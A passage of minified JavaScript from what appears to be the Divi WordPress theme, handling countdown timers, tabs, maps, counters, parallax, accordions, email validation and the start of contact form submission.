.value').html('000').parent('.section').addClass('zero').next().addClass('zero');}}else{var days_slice=days.toString().length>=3?days.toString().length:3;timer.find('.days > .value').html("000".concat(days).slice(-days_slice));if($days_section.hasClass('zero')){$days_section.removeClass('zero').next().removeClass('zero');}}if(0===days&&0===hours){if(!$hours_section.hasClass('zero')){timer.find('.hours > .value').html('00').parent('.section').addClass('zero').next().addClass('zero');}}else{timer.find('.hours > .value').html("0".concat(hours).slice(-2));if($hours_section.hasClass('zero')){$hours_section.removeClass('zero').next().removeClass('zero');}}if(0===days&&0===hours&&0===minutes){if(!$minutes_section.hasClass('zero')){timer.find('.minutes > .value').html('00').parent('.section').addClass('zero').next().addClass('zero');}}else{timer.find('.minutes > .value').html("0".concat(minutes).slice(-2));if($minutes_section.hasClass('zero')){$minutes_section.removeClass('zero').next().removeClass('zero');}}if(0===days&&0===hours&&0===minutes&&0===seconds){if(!$seconds_section.hasClass('zero')){timer.find('.seconds > .value').html('00').parent('.section').addClass('zero');}}else{timer.find('.seconds > .value').html("0".concat(seconds).slice(-2));if($seconds_section.hasClass('zero')){$seconds_section.removeClass('zero').next().removeClass('zero');}}};window.et_countdown_timer_labels=function(timer){if(timer.closest('.et_pb_column_3_8').length||timer.closest('.et_pb_column_1_4').length||timer.children('.et_pb_countdown_timer_container').width()<=400){timer.find('.days .label').html(timer.find('.days').data('short'));timer.find('.hours .label').html(timer.find('.hours').data('short'));timer.find('.minutes .label').html(timer.find('.minutes').data('short'));timer.find('.seconds .label').html(timer.find('.seconds').data('short'));}else{timer.find('.days .label').html(timer.find('.days').data('full'));timer.find('.hours .label').html(timer.find('.hours').data('full'));timer.find('.minutes .label').html(timer.find('.minutes').data('full'));timer.find('.seconds .label').html(timer.find('.seconds').data('full'));}};if($et_pb_countdown_timer.length||_utils.isBuilder){window.et_pb_countdown_timer_init=function($et_pb_countdown_timer){$et_pb_countdown_timer.each(function(){var timer=$(this);et_countdown_timer_labels(timer);et_countdown_timer(timer);setInterval(function(){et_countdown_timer(timer);},1000);});};et_pb_countdown_timer_init($et_pb_countdown_timer);}window.et_pb_tabs_init=function($et_pb_tabs_all){var init_hash_for_tab=function init_hash_for_tab($et_pb_tabs){var hash=window.location.hash;if(''!==hash){var hash_value=hash.replace('#','');hash_value=/^tab\-/.test(hash_value)?hash_value:"tab-".concat(hash_value);var $et_pb_hash_el=$et_pb_tabs.find(".et_pb_tabs_controls li a[href=\"#".concat(hash_value,"\"]"));if($et_pb_hash_el.length){$et_pb_hash_el.parent().trigger('click');}}};$et_pb_tabs_all.each(function(){var $et_pb_tabs=$(this);var $et_pb_tabs_li=$et_pb_tabs.find('.et_pb_tabs_controls li');var active_slide=isTB||isBFB||isVB?0:$et_pb_tabs.find('.et_pb_tab_active').index();var slider_options={use_controls:false,use_arrows:false,slide:'.et_pb_all_tabs > div',tabs_animation:true};if(0!==active_slide){slider_options.active_slide=active_slide;}$et_pb_tabs.et_pb_simple_slider(slider_options).on('et_hashchange',function(event){var params=event.params;var $the_tabs=$("#".concat(event.target.id));var active_tab=params[0];if(!$the_tabs.find('.et_pb_tabs_controls li').eq(active_tab).hasClass('et_pb_tab_active')){$the_tabs.find('.et_pb_tabs_controls li').eq(active_tab).trigger('click');}});$et_pb_tabs_li.on('click',function(){var $this_el=$(this);var $tabs_container=$this_el.closest('.et_pb_tabs').data('et_pb_simple_slider');if($tabs_container.et_animation_running)return false;$this_el.addClass('et_pb_tab_active').siblings().removeClass('et_pb_tab_active');$tabs_container.data('et_pb_simple_slider').et_slider_move_to($this_el.index());if($this_el.closest('.et_pb_tabs').attr('id')){var tab_state=[];tab_state.push($this_el.closest('.et_pb_tabs').attr('id'));tab_state.push($this_el.index());tab_state=tab_state.join(et_hash_module_param_seperator);et_set_hash(tab_state);}return false;});init_hash_for_tab($et_pb_tabs);window.et_pb_set_tabs_height();});};if($et_pb_tabs.length||_utils.isBuilder){window.et_pb_tabs_init($et_pb_tabs);}if($et_pb_map.length||_utils.isBuilder){var et_pb_init_maps=function et_pb_init_maps(){$et_pb_map.each(function(){et_pb_map_init($(this));});};window.et_pb_map_init=function($this_map_container){if('undefined'===typeof google||'undefined'===typeof google.maps){return;}var current_mode=et_pb_get_current_window_mode();et_animation_breakpoint=current_mode;var suffix=current_mode!=='desktop'?"-".concat(current_mode):'';var prev_suffix='phone'===current_mode?'-tablet':'';var grayscale_value=$this_map_container.attr("data-grayscale".concat(suffix))||0;if(!grayscale_value){grayscale_value=$this_map_container.attr("data-grayscale".concat(prev_suffix))||$this_map_container.attr('data-grayscale')||0;}var $this_map=$this_map_container.children('.et_pb_map');var this_map_grayscale=grayscale_value;var is_draggable=et_is_mobile_device&&$this_map.data('mobile-dragging')!=='off'||!et_is_mobile_device;var infowindow_active;if(this_map_grayscale!==0){this_map_grayscale="-".concat(this_map_grayscale.toString());}// Being saved to pass lat and lang of center location. var data_center_lat=parseFloat($this_map.attr('data-center-lat'))||0;var data_center_lng=parseFloat($this_map.attr('data-center-lng'))||0;$this_map_container.data('map',new google.maps.Map($this_map[0],{zoom:parseInt($this_map.attr('data-zoom')),center:new google.maps.LatLng(data_center_lat,data_center_lng),mapTypeId:google.maps.MapTypeId.ROADMAP,scrollwheel:'on'==$this_map.attr('data-mouse-wheel'),draggable:is_draggable,panControlOptions:{position:$this_map_container.is('.et_beneath_transparent_nav')?google.maps.ControlPosition.LEFT_BOTTOM:google.maps.ControlPosition.LEFT_TOP},zoomControlOptions:{position:$this_map_container.is('.et_beneath_transparent_nav')?google.maps.ControlPosition.LEFT_BOTTOM:google.maps.ControlPosition.LEFT_TOP},styles:[{stylers:[{saturation:parseInt(this_map_grayscale)}]}]}));$this_map_container.find('.et_pb_map_pin').each(function(){var $this_marker=$(this);var marker=new google.maps.Marker({position:new google.maps.LatLng(parseFloat($this_marker.attr('data-lat')),parseFloat($this_marker.attr('data-lng'))),map:$this_map_container.data('map'),title:$this_marker.attr('data-title'),icon:{url:"".concat(et_pb_custom.builder_images_uri,"/marker.png"),size:new google.maps.Size(46,43),anchor:new google.maps.Point(16,43)},shape:{coord:[1,1,46,43],type:'rect'},anchorPoint:new google.maps.Point(0,-45)});if($this_marker.find('.infowindow').length){var infowindow=new google.maps.InfoWindow({content:$this_marker.html()});google.maps.event.addListener($this_map_container.data('map'),'click',function(){infowindow.close();});google.maps.event.addListener(marker,'click',function(){if(infowindow_active){infowindow_active.close();}infowindow_active=infowindow;infowindow.open($this_map_container.data('map'),marker);// Trigger mouse hover event for responsive content swap. $this_marker.closest('.et_pb_module').trigger('mouseleave');setTimeout(function(){$this_marker.closest('.et_pb_module').trigger('mouseenter');},1);});}});};if(window.et_load_event_fired){et_pb_init_maps();}else if(typeof google!=='undefined'&&typeof google.maps!=='undefined'){google.maps.event.addDomListener(window,'load',function(){et_pb_init_maps();});}}$('.et_pb_shop, .et_pb_wc_upsells, .et_pb_wc_related_products').each(function(){var $this_el=$(this);var icon=(0,_isUndefined.default)($this_el.data('icon'))||''===$this_el.data('icon')?'':$this_el.data('icon');var icon_tablet=(0,_isUndefined.default)($this_el.data('icon-tablet'))||''===$this_el.data('icon-tablet')?'':$this_el.data('icon-tablet');var icon_phone=(0,_isUndefined.default)($this_el.data('icon-phone'))||''===$this_el.data('icon-phone')?'':$this_el.data('icon-phone');var icon_sticky=(0,_isUndefined.default)($this_el.data('icon-sticky'))||''===$this_el.data('icon-sticky')?'':$this_el.data('icon-sticky');var $overlay=$this_el.find('.et_overlay');// Handle Extra theme. if(!$overlay.length&&$this_el.hasClass('et_pb_wc_related_products')){$overlay=$this_el.find('.et_pb_extra_overlay');$this_el=$overlay.closest('.et_pb_module_inner').parent();icon=(0,_isUndefined.default)($this_el.data('icon'))||''===$this_el.data('icon')?'':$this_el.data('icon');icon_tablet=(0,_isUndefined.default)($this_el.data('icon-tablet'))||''===$this_el.data('icon-tablet')?'':$this_el.data('icon-tablet');icon_phone=(0,_isUndefined.default)($this_el.data('icon-phone'))||''===$this_el.data('icon-phone')?'':$this_el.data('icon-phone');icon_sticky=(0,_isUndefined.default)($this_el.data('icon-sticky'))||''===$this_el.data('icon-sticky')?'':$this_el.data('icon-sticky');}// Set data icon and inline icon class. if(icon!==''){$overlay.attr('data-icon',icon).addClass('et_pb_inline_icon');}if(icon_tablet!==''){$overlay.attr('data-icon-tablet',icon_tablet).addClass('et_pb_inline_icon_tablet');}if(icon_phone!==''){$overlay.attr('data-icon-phone',icon_phone).addClass('et_pb_inline_icon_phone');}if(icon_sticky!==''){$overlay.attr('data-icon-sticky',icon_sticky).addClass('et_pb_inline_icon_sticky');}if($this_el.hasClass('et_pb_shop')){var $shopItems=$this_el.find('li.product');var shop_index=$this_el.attr('data-shortcode_index');var itemClass="et_pb_shop_item_".concat(shop_index);if($shopItems.length>0){$shopItems.each(function(idx,$item){$($item).addClass("".concat(itemClass,"_").concat(idx));});}}});$et_pb_background_layout_hoverable.each(function(){var $this_el=$(this);var background_layout=$this_el.data('background-layout');var background_layout_hover=$this_el.data('background-layout-hover');var background_layout_tablet=$this_el.data('background-layout-tablet');var background_layout_phone=$this_el.data('background-layout-phone');var $this_el_item;var $this_el_parent;// Switch the target element for some modules. if($this_el.hasClass('et_pb_button_module_wrapper')){// Button, change the target to main button block. $this_el=$this_el.find('> .et_pb_button');}else if($this_el.hasClass('et_pb_gallery')){// Gallery, add gallery item as target element. $this_el_item=$this_el.find('.et_pb_gallery_item');$this_el=$this_el.add($this_el_item);}else if($this_el.hasClass('et_pb_post_slider')){// Post Slider, add slide item as target element. $this_el_item=$this_el.find('.et_pb_slide');$this_el=$this_el.add($this_el_item);}else if($this_el.hasClass('et_pb_slide')){// Slider, add slider as target element. $this_el_parent=$this_el.closest('.et_pb_slider');$this_el=$this_el.add($this_el_parent);}var layout_class_list='et_pb_bg_layout_light et_pb_bg_layout_dark et_pb_text_color_dark';var layout_class="et_pb_bg_layout_".concat(background_layout);var layout_class_hover="et_pb_bg_layout_".concat(background_layout_hover);var text_color_class='light'===background_layout?'et_pb_text_color_dark':'';var text_color_class_hover='light'===background_layout_hover?'et_pb_text_color_dark':'';// Only includes tablet class if it's needed. if(background_layout_tablet){layout_class_list+=' et_pb_bg_layout_light_tablet et_pb_bg_layout_dark_tablet et_pb_text_color_dark_tablet';layout_class+=" et_pb_bg_layout_".concat(background_layout_tablet,"_tablet");layout_class_hover+=" et_pb_bg_layout_".concat(background_layout_hover,"_tablet");text_color_class+='light'===background_layout_tablet?' et_pb_text_color_dark_tablet':'';text_color_class_hover+='light'===background_layout_hover?' et_pb_text_color_dark_tablet':'';}// Only includes phone class if it's needed. if(background_layout_phone){layout_class_list+=' et_pb_bg_layout_light_phone et_pb_bg_layout_dark_phone et_pb_text_color_dark_phone';layout_class+=" et_pb_bg_layout_".concat(background_layout_phone,"_phone");layout_class_hover+=" et_pb_bg_layout_".concat(background_layout_hover,"_phone");text_color_class+='light'===background_layout_phone?' et_pb_text_color_dark_phone':'';text_color_class_hover+='light'===background_layout_hover?' et_pb_text_color_dark_phone':'';}$this_el.on('mouseenter',function(){$this_el.removeClass(layout_class_list);$this_el.addClass(layout_class_hover);if($this_el.hasClass('et_pb_audio_module')&&''!==text_color_class_hover){$this_el.addClass(text_color_class_hover);}});$this_el.on('mouseleave',function(){$this_el.removeClass(layout_class_list);$this_el.addClass(layout_class);if($this_el.hasClass('et_pb_audio_module')&&''!==text_color_class){$this_el.addClass(text_color_class);}});});if($et_pb_circle_counter.length||_utils.isBuilder||$('.et_pb_ajax_pagination_container').length>0){window.et_pb_circle_counter_init=function($the_counter,animate,custom_mode){if($the_counter.width()<=0){return;}// Update animation breakpoint variable and generate suffix. var current_mode=et_pb_get_current_window_mode();et_animation_breakpoint=current_mode;// Custom Mode is used to pass custom preview mode such as hover. Current mode is // actual preview mode based on current window size. var suffix='';if('undefined'!==typeof custom_mode&&''!==custom_mode){suffix="-".concat(custom_mode);}else if(current_mode!=='desktop'){suffix="-".concat(current_mode);}// Update bar background color based on active mode. var bar_color=$the_counter.data('bar-bg-color');var mode_bar_color=$the_counter.data("bar-bg-color".concat(suffix));if(typeof mode_bar_color!=='undefined'&&mode_bar_color!==''){bar_color=mode_bar_color;}// Update bar track color based on active mode. var track_color=$the_counter.data('color')||'#000000';var mode_track_color=$the_counter.data("color".concat(suffix));if(typeof mode_track_color!=='undefined'&&mode_track_color!==''){track_color=mode_track_color;}// Update bar track color alpha based on active mode. var track_color_alpha=$the_counter.data('alpha')||'0.1';var mode_track_color_alpha=$the_counter.data("alpha".concat(suffix));if('undefined'!==typeof mode_track_color_alpha&&''!==mode_track_color_alpha&&!isNaN(mode_track_color_alpha)){track_color_alpha=mode_track_color_alpha;}$the_counter.easyPieChart({animate:{duration:1800,enabled:true},size:0!==$the_counter.width()?$the_counter.width():10,// set the width to 10 if actual width is 0 to avoid js errors barColor:bar_color,trackColor:track_color,trackAlpha:track_color_alpha,scaleColor:false,lineWidth:5,onStart:function onStart(){$(this.el).find('.percent p').css({visibility:'visible'});},onStep:function onStep(from,to,percent){$(this.el).find('.percent-value').text(Math.round(parseInt(percent)));},onStop:function onStop(from,to){$(this.el).find('.percent-value').text($(this.el).data('number-value'));}});};window.et_pb_reinit_circle_counters=function($et_pb_circle_counter){$et_pb_circle_counter.each(function(){var $the_counter=$(this).find('.et_pb_circle_counter_inner');window.et_pb_circle_counter_init($the_counter,false);// Circle Counter on Hover. $the_counter.on('mouseover',function(event){window.et_pb_circle_counter_update($the_counter,event,'hover');});// Circle Counter on "Unhover" as reset of Hover effect. $the_counter.on('mouseleave',function(event){window.et_pb_circle_counter_update($the_counter,event);});$the_counter.on('containerWidthChanged',function(event,custom_mode){$the_counter=$(event.target);$the_counter.find('canvas').remove();$the_counter.removeData('easyPieChart');window.et_pb_circle_counter_init($the_counter,true,custom_mode);});// Update circle counter when sticky is started / ended var stickyId=$the_counter.attr('data-sticky-id');if(stickyId){window.addEventListener('ETBuilderStickyStart',function(e){if(stickyId===e.detail.stickyId){window.et_pb_circle_counter_update($the_counter,event,'sticky');}});window.addEventListener('ETBuilderStickyEnd',function(e){if(stickyId===e.detail.stickyId){window.et_pb_circle_counter_update($the_counter,event);}});}});};window.et_pb_reinit_circle_counters($et_pb_circle_counter);}/** * Update circle counter easyPieChart data on custom mode. * * @since 3.25.3 * * @param {jQuery} $this_counter Circle counter jQuery element. * @param {object} event Event object. * @param {string} custom_mode Custom view mode such as hover/desktop/tablet/phone. */window.et_pb_circle_counter_update=function($this_counter,event,custom_mode){if(!$this_counter.is(':visible')||'undefined'===typeof $this_counter.data('easyPieChart')){return;}// Change custom mode if upon mouse leave, it returns to sticky, not standard state if('mouseleave'===event.type&&$this_counter.closest('.et_pb_sticky').length>0){custom_mode='sticky';}// Check circle attributes value for current event type. if($(event.target).length>0){if('mouseover'===event.type||'mouseleave'===event.type){var has_field_value=false;// Check if one of those field value exist. var mode_bar_color=$this_counter.data('bar-bg-color-hover');var mode_track_color=$this_counter.data('color-hover');var mode_track_color_alpha=$this_counter.data('alpha-hover');if(typeof mode_bar_color!=='undefined'&&mode_bar_color!==''){has_field_value=true;}else if(typeof mode_track_color!=='undefined'&&mode_track_color!==''){has_field_value=true;}else if(typeof mode_track_color_alpha!=='undefined'&&mode_track_color_alpha!==''){has_field_value=true;}if(!has_field_value){return;}}}// Reinit circle counter for current event. var container_param=[];if('undefined'!==typeof custom_mode&&''!==custom_mode){container_param=[custom_mode];}$this_counter.trigger('containerWidthChanged',container_param);// If number text hasn't been printed at all in sticky event, skip disable animation // and updating number value data because this will overwrite entire text animation // and causing the text not rendered; this happens if the page is not positioned // on top document when loaded and already trigger start sticky event var isStickyEvent=['ETBuilderStickyStart','ETBuilderStickyEnd'].includes(event.type);if(isStickyEvent&&''===$this_counter.find('.percent-value').text()){return;}// Animation should be disabled here. $this_counter.data('easyPieChart').disableAnimation();$this_counter.data('easyPieChart').update($this_counter.data('number-value'));};if($et_pb_number_counter.length||_utils.isBuilder||$('.et_pb_ajax_pagination_container').length>0){window.et_pb_reinit_number_counters=function($et_pb_number_counter){var is_firefox=$('body').hasClass('gecko');function et_format_number(number_value,separator){return number_value.toString().replace(/\B(?=(\d{3})+(?!\d))/g,separator);}if($.fn.fitText){$et_pb_number_counter.find('.percent p').fitText(0.3);}$et_pb_number_counter.each(function(){var $this_counter=$(this);var separator=$this_counter.data('number-separator');$this_counter.easyPieChart({animate:{duration:1800,enabled:true},size:is_firefox?1:0,// firefox can't print page when it contains 0 sized canvas elements. trackColor:false,scaleColor:false,lineWidth:0,onStart:function onStart(from,to){$(this.el).addClass('active');if(from===to){$(this.el).find('.percent-value').text(et_format_number($(this.el).data('number-value'),separator));}},onStep:function onStep(from,to,percent){if(percent!=to)$(this.el).find('.percent-value').text(et_format_number(Math.round(parseInt(percent)),separator));},onStop:function onStop(from,to){$(this.el).find('.percent-value').text(et_format_number($(this.el).data('number-value'),separator));}});});};window.et_pb_reinit_number_counters($et_pb_number_counter);}window.et_apply_parallax=function(){if(!$(this).length||'undefined'===typeof $(this)||'undefined'===typeof $(this).offset()){return;}var $parallaxWindow=$et_top_window;if(isTB){$parallaxWindow=top_window.jQuery('#et-fb-app');}else if(isScrollOnAppWindow()){$parallaxWindow=$(window);}var $this=$(this);var $parent=$this.parent();var element_top=isBuilderModeZoom()?$this.offset().top/2:$this.offset().top;var window_top=$parallaxWindow.scrollTop();if($parent.hasClass('et_is_animating')){return;}if(isBlockLayoutPreview){// Preview offset is what is changing on gutenberg due to window scroll // happens on `.edit-post-layout__content` var blockPreviewId="#divi-layout-iframe-".concat(ETBlockLayoutModulesScript.blockId);var previewOffsetTop=top_window.jQuery(blockPreviewId).offset().top;element_top+=previewOffsetTop;}var y_pos=(window_top+$et_top_window.height()-element_top)*0.3;var main_position;var $parallax_container;main_position="translate(0, ".concat(y_pos,"px)");// handle specific parallax container in VB if($this.children('.et_parallax_bg_wrap').length>0){$parallax_container=$this.children('.et_parallax_bg_wrap').find('.et_parallax_bg');}else{$parallax_container=$this.children('.et_parallax_bg');}$parallax_container.css({'-webkit-transform':main_position,'-moz-transform':main_position,'-ms-transform':main_position,transform:main_position});};window.et_parallax_set_height=function(){var $this=$(this);var isFullscreen=_utils.isBuilder&&$this.parent('.et_pb_fullscreen').length;var parallaxHeight=isFullscreen&&$et_top_window.height()>$this.innerHeight()?$et_top_window.height():$this.innerHeight();var bg_height=$et_top_window.height()*0.3+parallaxHeight;// Add BFB metabox to top window offset on parallax image height to avoid parallax displays its // background while scrolling because the image height is too short. This is required since BFB // tracks parent window scroll event and BFB metabox has offset top to the top window if(isBFB){bg_height+=top_window.jQuery('#et_pb_layout .inside').offset().top;}$this.find('.et_parallax_bg').css({height:"".concat(bg_height,"px")});};// Emulate CSS Parallax (background-attachment: fixed) effect via absolute image positioning window.et_apply_builder_css_parallax=function(){// This callback is for builder and layout block preview if(!_utils.isBuilder&&!isBlockLayoutPreview){return;}var $this_parent=$(this);var $this_parallax=$this_parent.children('.et_parallax_bg');// Remove inline styling to avoid unwanted result first $this_parallax.css({width:'',height:'',top:'',left:'',backgroundAttachment:''});// Bail if window scroll happens on app window (visual builder desktop mode) if(isScrollOnAppWindow()&&!isTB){return;}var $parallaxWindow=isTB?top_window.jQuery('#et-fb-app'):$et_top_window;var parallaxWindowScrollTop=$parallaxWindow.scrollTop();var backgroundOffset=isBFB?top_window.jQuery('#et_pb_layout .inside').offset().top:0;var heightMultiplier=isBuilderModeZoom()?2:1;var parentOffset=$this_parent.offset();var parentOffsetTop=isBuilderModeZoom()?parentOffset.top/2:parentOffset.top;if(isBlockLayoutPreview){// Important: in gutenberg, scroll doesn't happen on window; it's here instead $parallaxWindow=top_window.jQuery((0,_selectors.getContentAreaSelector)(top_window,true));// Background offset is relative to block's preview iframe backgroundOffset=top_window.jQuery("#divi-layout-iframe-".concat(ETBlockLayoutModulesScript.blockId)).offset().top;// Scroll happens on DOM which has fixed positioning. Hence parallaxWindowScrollTop=$parallaxWindow.offset().top;}$this_parallax.css({width:"".concat($(window).width(),"px"),height:"".concat($parallaxWindow.innerHeight()*heightMultiplier,"px"),top:"".concat(parallaxWindowScrollTop-backgroundOffset-parentOffsetTop,"px"),left:"".concat(0-parentOffset.left,"px"),backgroundAttachment:'scroll'});};function et_toggle_animation_callback(initial_toggle_state,$module,$section){if('closed'===initial_toggle_state){$module.removeClass('et_pb_toggle_close').addClass('et_pb_toggle_open');}else{$module.removeClass('et_pb_toggle_open').addClass('et_pb_toggle_close');}if($section.hasClass('et_pb_section_parallax')&&!$section.children().hasClass('et_pb_parallax_css')){et_parallax_set_height.bind($section)();}window.et_reinit_waypoint_modules();}// Disable hover event when user opening toggle on mobile. $('.et_pb_accordion').on('touchstart',function(e){// Ensure to disable only on mobile. if('desktop'!==et_pb_get_current_window_mode()){var $target=$(e.target);// Only disable when user click to open the toggle. if($target.hasClass('et_pb_toggle_title')||$target.hasClass('et_fb_toggle_overlay')){e.preventDefault();// Trigger click event to open the toggle. $target.trigger('click');}}});$('body').on('click','.et_pb_toggle_title, .et_fb_toggle_overlay',function(){var $this_heading=$(this);var $module=$this_heading.closest('.et_pb_toggle');var $section=$module.parents('.et_pb_section');var $content=$module.find('.et_pb_toggle_content');var $accordion=$module.closest('.et_pb_accordion');var is_accordion=$accordion.length;var is_accordion_toggling=$accordion.hasClass('et_pb_accordion_toggling');var window_offset_top=$(window).scrollTop();var fixed_header_height=0;var initial_toggle_state=$module.hasClass('et_pb_toggle_close')?'closed':'opened';var $accordion_active_toggle;var module_offset;if(is_accordion){if($module.hasClass('et_pb_toggle_open')||is_accordion_toggling){return false;}$accordion.addClass('et_pb_accordion_toggling');$accordion_active_toggle=$module.siblings('.et_pb_toggle_open');}if($content.is(':animated')){return;}$content.slideToggle(700,function(){et_toggle_animation_callback(initial_toggle_state,$module,$section);});if(is_accordion){var accordionCompleteTogglingCallback=function accordionCompleteTogglingCallback(){$accordion_active_toggle.removeClass('et_pb_toggle_open').addClass('et_pb_toggle_close');$accordion.removeClass('et_pb_accordion_toggling');module_offset=$module.offset();// Calculate height of fixed nav if($('#wpadminbar').length){fixed_header_height+=$('#wpadminbar').height();}if($('#top-header').length){fixed_header_height+=$('#top-header').height();}if($('#main-header').length&&!window.et_is_vertical_nav){fixed_header_height+=$('#main-header').height();}// Compare accordion offset against window's offset and adjust accordingly if(window_offset_top+fixed_header_height>module_offset.top){$('html, body').animate({scrollTop:module_offset.top-fixed_header_height-50});}};// slideToggle collapsing mechanism (display:block, sliding, then display: none) // doesn't work if the DOM is not "visible" (no height / width at all) which can // happen if the accordion item has no content on desktop mode but has in hover if($accordion_active_toggle.find('.et_pb_toggle_content').is(':visible')){$accordion_active_toggle.find('.et_pb_toggle_content').slideToggle(700,accordionCompleteTogglingCallback);}else{$accordion_active_toggle.find('.et_pb_toggle_content').hide();accordionCompleteTogglingCallback();}}});// Email Validation // Use the regex defined in the HTML5 spec for input[type=email] validation // (see https://www.w3.org/TR/2016/REC-html51-20161101/sec-forms.html#email-state-typeemail) var et_email_reg_html5=/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;/** * Verifies that an email is valid similar to how WordPress `is_email()` method works. * * Does not grok i18n domains. Not RFC compliant. * * @param string email Email address to verify. * @return bool Valid true on success, false on failure. */var et_is_email=function et_is_email(email){// Test for the minimum length the email can be. if(6>email.length){return false;}// Test for an @ character after the first position. if(false===php_strpos(email,'@',1)){return false;}// Split out the local and domain parts. var parts=email.split('@',2);var local=parts[0];var domain=parts[1];// LOCAL PART // Test for invalid characters. if(!/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/.test(local)){return false;}// DOMAIN PART // Test for sequences of periods. if(/\.{2,}/.test(domain)){return false;}// Test for leading and trailing periods and whitespace. if(php_trim(domain," \t\n\r\0\x0B.")!==domain){return false;}// Split the domain into subs. var subs=domain.split('.');// Assume the domain will have at least two subs. if(2>subs.length){return false;}// Loop through each sub. for(var i in subs){var sub=subs[i];// Test for leading and trailing hyphens and whitespace. if(php_trim(sub," \t\n\r\0\x0B-")!==sub){return false;}// Test for invalid characters if(!/^[a-z0-9-]+$/i.test(sub)){return false;}}// Congratulations. return true;// Analog of PHP function `trim` (https://www.php.net/manual/en/function.trim.php) written in JavaScript function php_trim(str,charlist){var whitespace=[' ','\n','\r','\t','\f','\x0b','\xa0',"\u2000","\u2001","\u2002","\u2003","\u2004","\u2005","\u2006","\u2007","\u2008","\u2009","\u200A","\u200B","\u2028","\u2029","\u3000"].join('');var l=0;var i=0;str+='';if(charlist){whitespace=(charlist+'').replace(/([[\]().?/*{}+$^:])/g,'$1');}l=str.length;for(i=0;i<l;i++){if(whitespace.indexOf(str.charAt(i))===-1){str=str.substring(i);break;}}l=str.length;for(i=l-1;i>=0;i--){if(whitespace.indexOf(str.charAt(i))===-1){str=str.substring(0,i+1);break;}}return whitespace.indexOf(str.charAt(0))===-1?str:'';}// Analog of PHP function `strpos` written in JavaScript function php_strpos(haystack,needle,offset){var i=(haystack+'').indexOf(needle,offset||0);return i===-1?false:i;}};var $et_contact_container=$('.et_pb_contact_form_container');var is_recaptcha_enabled=!_utils.isBuilder&&$('.et_pb_module.et_pb_recaptcha_enabled').length>0;var $recaptchaScripts=document.body.innerHTML.match(/<script [^>]*src="[^"].*google.com\/recaptcha\/api.js\?render.*"[^>]*>([\s\S]*?)<\/script>/gmi);var $diviRecaptchaScript=$('#et-recaptcha-v3-js');var nonDiviRecaptchaFound=$recaptchaScripts&&$recaptchaScripts.length>$diviRecaptchaScript.length;// Make sure recaptcha badge is visible if recaptcha from 3rd party plugin found or we have module with spam protection on page if(!_utils.isBuilder&&(nonDiviRecaptchaFound||is_recaptcha_enabled&&recaptchaApi&&recaptchaApi.isEnabled())){$('body').addClass('et_pb_recaptcha_enabled');}if($et_contact_container.length){$et_contact_container.each(function(){var $this_contact_container=$(this);var $et_contact_form=$this_contact_container.find('form');var redirect_url=typeof $this_contact_container.data('redirect_url')!=='undefined'?$this_contact_container.data('redirect_url'):'';$et_contact_form.find('input[type=checkbox]').on('change',function(){var $checkbox=$(this);var $checkbox_field=$checkbox.siblings('input[type=text]').first();var is_checked=$checkbox.prop('checked');$checkbox_field.val(is_checked?$checkbox_field.data('checked'):$checkbox_field.data('unchecked'));});$et_contact_form.on('submit',function(event){event.preventDefault();var $this_contact_form=$(this);if(true===$this_contact_form.data('submitted')){// Previously submitted, do not submit again return;}var $this_inputs=$this_contact_form.find('input[type=text], .et_pb_checkbox_handle, .et_pb_contact_field[data-type="radio"], textarea, select');var $captcha_field=$this_contact_form.find('.et_pb_contact_captcha');var $et_contact_message=$this_contact_container.find('.et-pb-contact-message');var form_unique_id=typeof $this_contact_container.data('form_unique_num')!=='undefined'?$this_contact_container.data('form_unique_num'):0;var this_et_contact_error=false;var et_message='';var et_fields_message='';var inputs_list=[];var hidden_fields=[];var tokenDeferred=$.Deferred();// Only process through recaptcha if the module has spam protection enabled and the recaptcha core api exists. if(recaptchaApi&&$this_contact_container.hasClass('et_pb_recaptcha_enabled')){recaptchaApi.interaction("Divi/Module/ContactForm/".concat(form_unique_id)).then(function(token){tokenDeferred.resolve(token);});}else{tokenDeferred.resolve('');}$.when(tokenDeferred).done(function(token){et_message='<ul>';$this_inputs.removeClass('et_contact_error');$this_inputs.each(function(){var $this_el=$(this);var $this_wrapper=false;if('checkbox'===$this_el.data('field_type')){$this_wrapper=$this_el.parents('.et_pb_contact_field');$this_wrapper.removeClass('et_contact_error');}if('radio'===$this_el.data('type')){$this_el=$this_el.find('input[type="radio"]');$this_wrapper=$this_el.parents('.et_pb_contact_field');}var this_id=$this_el.attr('id');var this_val=$this_el.val();var this_label=$this_el.siblings('label').first().text();var field_type=typeof $this_el.data('field_type')!=='undefined'?$this_el.data('field_type'):'text';var required_mark=typeof $this_el.data('required_mark')!=='undefined'?$this_el.data('required_mark'):'not_required';var original_id=typeof $this_el.data('original_id')!=='undefined'?$this_el.data('original_id'):'';var unchecked=false;var default_value;// radio field properties adjustment if('radio'===field_type){if(0!==$this_wrapper.find('input[type="radio"]').length){field_type='radio';var $firstRadio=$this_wrapper.find('input[type="radio"]').first();required_mark=typeof $firstRadio.data('required_mark')!=='undefined'?$firstRadio.data('required_mark'):'not_required';this_val='';if($this_wrapper.find('input[type="radio"]:checked')){this_val=$this_wrapper.find('input[type="radio"]:checked').val();}}this_label=$this_wrapper.find('.et_pb_contact_form_label').text();this_id=$this_wrapper.find('input[type="radio"]').first().attr('name');original_id=$this_wrapper.attr('data-id');if(0===$this_wrapper.find('input[type="radio"]:checked').length){unchecked=true;}}// radio field properties adjustment if('checkbox'===field_type){this_val='';if(0!==$this_wrapper.find('input[type="checkbox"]').length){field_type='checkbox';var $checkboxHandle=$this_wrapper.find('.et_pb_checkbox_handle');required_mark=typeof $checkboxHandle.data('required_mark')!=='undefined'?$checkboxHandle.data('required_mark'):'not_required';if($this_wrapper.find('input[type="checked"]:checked')){this_val=[];$this_wrapper.find('input[type="checkbox"]:checked').each(function(){this_val.push($(this).val());});this_val=this_val.join(', ');}}$this_wrapper.find('.et_pb_checkbox_handle').val(this_val);this_label=$this_wrapper.find('.et_pb_contact_form_label').text();// In case user did not add field name, try to use label from the checkbox value if(0===this_label.trim().length){var $checkboxes=$this_wrapper.find('.et_pb_contact_field_checkbox input[type="checkbox"]');if($checkboxes.length>0){var _checkbox_labels=[];$checkboxes.each(function(){_checkbox_labels.push($(this).val());});this_label=_checkbox_labels.join(', ');// In case user uses an empty 